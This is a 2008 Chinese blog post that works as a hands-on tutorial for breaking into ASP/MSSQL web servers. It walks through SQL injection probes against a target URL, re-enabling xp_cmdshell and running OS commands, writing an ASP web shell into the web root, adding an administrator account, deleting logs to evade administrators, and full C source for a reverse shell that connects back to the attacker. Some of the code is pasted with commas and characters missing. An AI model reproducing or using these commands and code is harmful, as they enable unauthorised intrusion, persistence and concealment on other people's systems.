数据加载中……


 

 登   陆

我的分类(专题)
数据加载中……

链接

Blog信息
数据加载中……

 



sql入侵利用
樱木花盗 发表于 2008-4-7 17:45:25
首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

------------系统路径可以猜一下。 如果不行。向下看

addextendedproc 'xp_cmdshell', 'xpsql70.dll'

有时候在入侵的时候总是碰到先烦恼的问题,比如SA遇到xp_cmdshell时,如果管理员把xp_cmdshell删了

怎么办呢?总是眼看着肉鸡跑了吧!今天我就对XP_CMDSHELL做一先解释,希望大家能看明白,能看懂

众所周知,在MSSQL中,通过XP_cmdshell存储扩展,拥护具有sysadmin权限,用来执行系统任意命令

但是那先网管也不是吃素的,都回把它删除,所以在SQL Injection攻击中,获得xp_cmdshell的执行权限

才是最终的目标,在MSSQL中一共有8中权限分别是 sysadmin dbcreator diskadmin processadmin
serveradmin setupadmin securityadmin bulkadmin 这8种 每一个都具有不同的权限,大家都因该可

以知道其中的sysadmin权限是最高的,也是我们想要的。。。

大家都知道在MSSQL中,SA的权限是至高无上的了,但是有时获得了个SA 却无法执行命令是,是不是很郁

闷了呢?获得了个SA一般我们都用SQLTOOLS.EXE连接吧!一个比较好的工具,我也喜欢,呵呵!首先还是

让我们看看吧!用SQLTOOLS.EXE连上后看看它的XP_cmdshell存储扩展是不是被删了,在"利用目录"菜单

中打开"执行数据库命令" 填入我们要执行的命令:

Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

如果返回结果是1的话,说明它没有删除这个扩展存储过程,我们可以执行DOS命令了,如果不行呢?

接着看,还有办法,我们直接在数据库命令执行窗写入:

Exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; select count(*) from

master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

上面的意思就是恢复默认的存储过程,如果返回1的话说明恢复成功,不然就是存储扩展被删除了,需要我

们给它上传个xplog70.dll用SQLTOOLS.EXE自带的文件上传功能可以轻松实现了,把xplog70.dll文件传到

对方的c:\winnt\system32下,(不行的话,需传到对方的MSSQL目录里)在执行数据库命令:

Exec master.dbo.addextendedproc 'xp_cmdshell', 'c:\winnt\system32\xplog70.dll'

好了,接下来就是我们常用的命令 net user 和 net localgroup administrators

命令了,还有清楚IIS日记和MSSQL日记就OK了!

上面的方法是可以了但我们还可以饶过xp_cmdshell ,来执行系统命令,大家知道在MSSQL中可以通过两个

存储扩展来创建activex自动脚本,呵呵,大家想到了吧!是xp_oacreate和sp_oamethod 通过它们执行系

统命令的语句我们可以自己给他加上哦,代码如下:

declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'net start telnet'

上面那段代码的意思就是通过服务器上的 wscript.shel 来执行net start telnet 开启服务器的telnet

接下来呢就是通过FSO对服务器进行文件管理或者直接创建文件并写入数据,呵呵,可以直接写一个WEBSHE

LL到服务器上去哦!!!HOHO~~~~

declare @o int, @f int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'creatextifile', @f out, 'c:\inetpub\wwwroot\mad.asp', 1

exec @ ret = sp_oamethod @f, 'writeline', NULL, '<% set o =

server.createobject("wscript.shell": o.run("cmd.exe /c "&request.querystring("cmd") %>

上面的代码就在服务器c:\inetpub\wwwroot\mad.asp上创建了了只有两行的代码我们直接连上去就OK了

大家不防试试吧。下面我还是对大家入侵时做一先解释吧,希望大家能看明白,

举个例子现在咱们要入侵的网站是这个 www.***.com

第一还是踩点,找到入口,现在注入这么流行,还是注入吧,因为一般网站都是ASP+MSSQL结构来架设的假

如这个。www.***.com/script.asp?id=48

还是一样用, ; and 1=1 and 1=2判断一下,确定可以注入后,我们就可以利用这个漏洞拿到服务器和

数据库的一些相关信息。想看服务器打的补丁情况,我们提交:

www.***.com/script.asp?id=48 and 1=(select @@VERSION)

我想现在大部分服务器都打上SP4补丁了。我们看看其它的,看看他的数据库连接账号的权限,提交:

www.***.com/script.asp?id=48 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))

如果返回正常,这证明当前连接的账号是服务器角色sysadmin权限了,看来连接账号多半是采用SA账号连

接的了,自己有好做的了,还是试一下。万一猜错了呢?提交:

www.***.com/script.asp?id=48 and 'sa'=(SELECT System_user)

用来查看连接账号是不是用sa 连接的,如果IE返回正常。这证明了连接账号真的是SA,看来权限是高了哦

(如果要获得已登录用户的身份,则使用Transact-SQL 语句:SELECT SYSTEM_USER)

下面我们就利用MSSQL存储过程,得到WebShell,首先还是看看xp_cmdshell是否被管理员删除了 提交:

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype =

'X' AND name = 'xp_cmdshell')

如果被删除了,NO PROBLEM 我们给他恢复一下。提交:

www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'

试一下 看看xp_cmdshell是不是恢复过来了 提交:

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype =

'X' AND name = 'xp_cmdshell')

如果没有返回内容。这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了。现在大家可

以用上面的方法试试了,到这里有耐心的话还可以继续啊。可以用CZY提到的方法试试。

不过还用到两个MSSQL存储过程

xp_regread 扩展存储过程和xp_regread Web 助手存储过程:

xp_regread是用来读取注册表信息的,我们通过这个存储过程来得到保存在注册表中Web绝对路径

sp_makewebtask在我们这里是用来得到WebShell的,其主要功能就是导出数据库中表的记录为文件,文件

名你可以自己指定。当然我们这里就指定为ASP脚本文件

CZY的文章已经写得很详细了。所以,我这里就只简单的提一下吧! 先创建一个表,建一字段,然后向这个

字段中加入木马的内容。然后,把内容通过xp_makewebtask存储过程导出成ASP脚本保存在Web绝对路径中

再次删除建的临时表 不知道的可要到网上找找哦!

不过还是先看看这两个存储过程是不是被删了。。提交:

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=

'xp_regread')

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=

'sp_makewebtask')

如果两个都返回正常的话,说明两个存储过程都没有删除 :

(大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册表中得到,位置如下:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots

利用扩展存储过程xp_regread我们可以取得它的值.

EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',

'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/'

这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?首先:先创建

一个临时表,表中加一字段,类型为:char 255。呵呵,用它来保存Web绝对路径的值。表建好后,我们就

用读取注册表的方法,把返回的值保存在一变量中。然后向新建的表中加入记录(即变量的值)。这样,

路径就写入到了表中。提交:

DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',

'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert

into 临时表 (临时字段名) values(@result);--

然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1) )

我们用CZY的方法继续提交:

www.***.com/script.asp?id=48;create table [dbo].[ABCD] ([DACB][char](255));

这样我们就成功地建了一个名为ABCD的表,并且添加了类型是char,长度为255的字段名DACB。然后向表中

加数据:

www.***.com/script.asp?id=48;create @result varchar(255) EXEC master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/',

@result output insert into cyfd (DACB) values(@result);--

继续提交从注册表中读出Web绝对路径,再把路径插入到刚建的表中。然后报出WebShell的绝对路径

www.***.com/script.asp?id=48 and 1=(select count(*) from cyfd where gyfd > 1)

IE返回错误,我们得到Web绝对路径 例如:e:\Inetpub\wwwroot

还要删除刚才建的表 提交:

www.***.com/script.asp?id=48;drop table cyfd;--

接下来就好办多了,路径都知道了。得到WEBSHELL因该没问题了吧,得到WEBSHELL后,通过WEBSHELL上传

xplog70.dll传到E:\inetpub\wwwroot目录下 我们给他恢复下。提交:

www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell',

'e:\inetpub\wwwroot\xplog70.dll'

(恢复,支持绝对路径的恢复!)

用IE来查看一下是不是已经恢复了。提交:

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype =

'X' AND name = 'xp_cmdshell')

如IE返回正常。说明已经恢复了!下面就建用户吧。。。。

www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net user abcd 123456 /add'

提升管理员

www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net localgroup administrators abcd
/add'

好了到了这里就OK了。。如果对方有终端的话,就连接吧。,还有清除IIS日志,和MSSQL日志 闪人!~

还有一点就是把xp_cmdshell也给他删除掉,不要让网管发现了。HOHO~~~~

完..............(写了这么多可能有先看不明白..SORRY!!)

删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell
利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了
绝对比去想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径
nt/2k: x:\winnt\system32\
xp/2003: x:\windows\system32\
如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试
当然如果野蛮一点,四个轮流来一遍也行。

首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE''SOFTWARE\Microsoft\Jet\4.0\Engines''SandBoxMode''REG_DWORD'1

然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0'';database=c:\winnt\system32\ias\ias.mdb''select shell("cmd.exe /c net user admin admin1234 /add")')

附:
无法连接数据库服务器时(数据库一般不对外开放,但是可以对外访问),
可以使用反弹dos shell方式搞定
====================== CUT here =======================
//name : win32 connect back shell source for nt/2K/xp/2003
//compile : cl win32cbsh.c (vc6)
//usage :
//on your pc : nc -l -p {listen port}
//on vitim pc : win32cbsh {your ip} {listen port}
//warning : if there's no parameter specified it will cause "fatal error"
#i nclude
#pragma comment(lib"ws2_32")
int main(int argc char **argv)
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin0sizeof(adik_sin));
memset(&si0sizeof(si));
WSAStartup(MAKEWORD(20)&wsaData);
hSocket=WSASocket(AF_INETSOCK_STREAMNULLNULLNULLNULL);
adik_sin.sin_family=AF_INET;
adik_sin.sin_port=htons(atoi(argv[2]));
adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
if(0!=connect(hSocket(struct sockaddr*)&adik_sinsizeof(adik_sin))) return -1;
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
CreateProcess(NULL"cmd.exe"NULLNULL1NULLNULLNULL&si&pi);
return 0;
}

阅读全文 | 回复(0) | 引用通告 | 编辑
 


发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:
    数据加载中……


Powered by Oblog.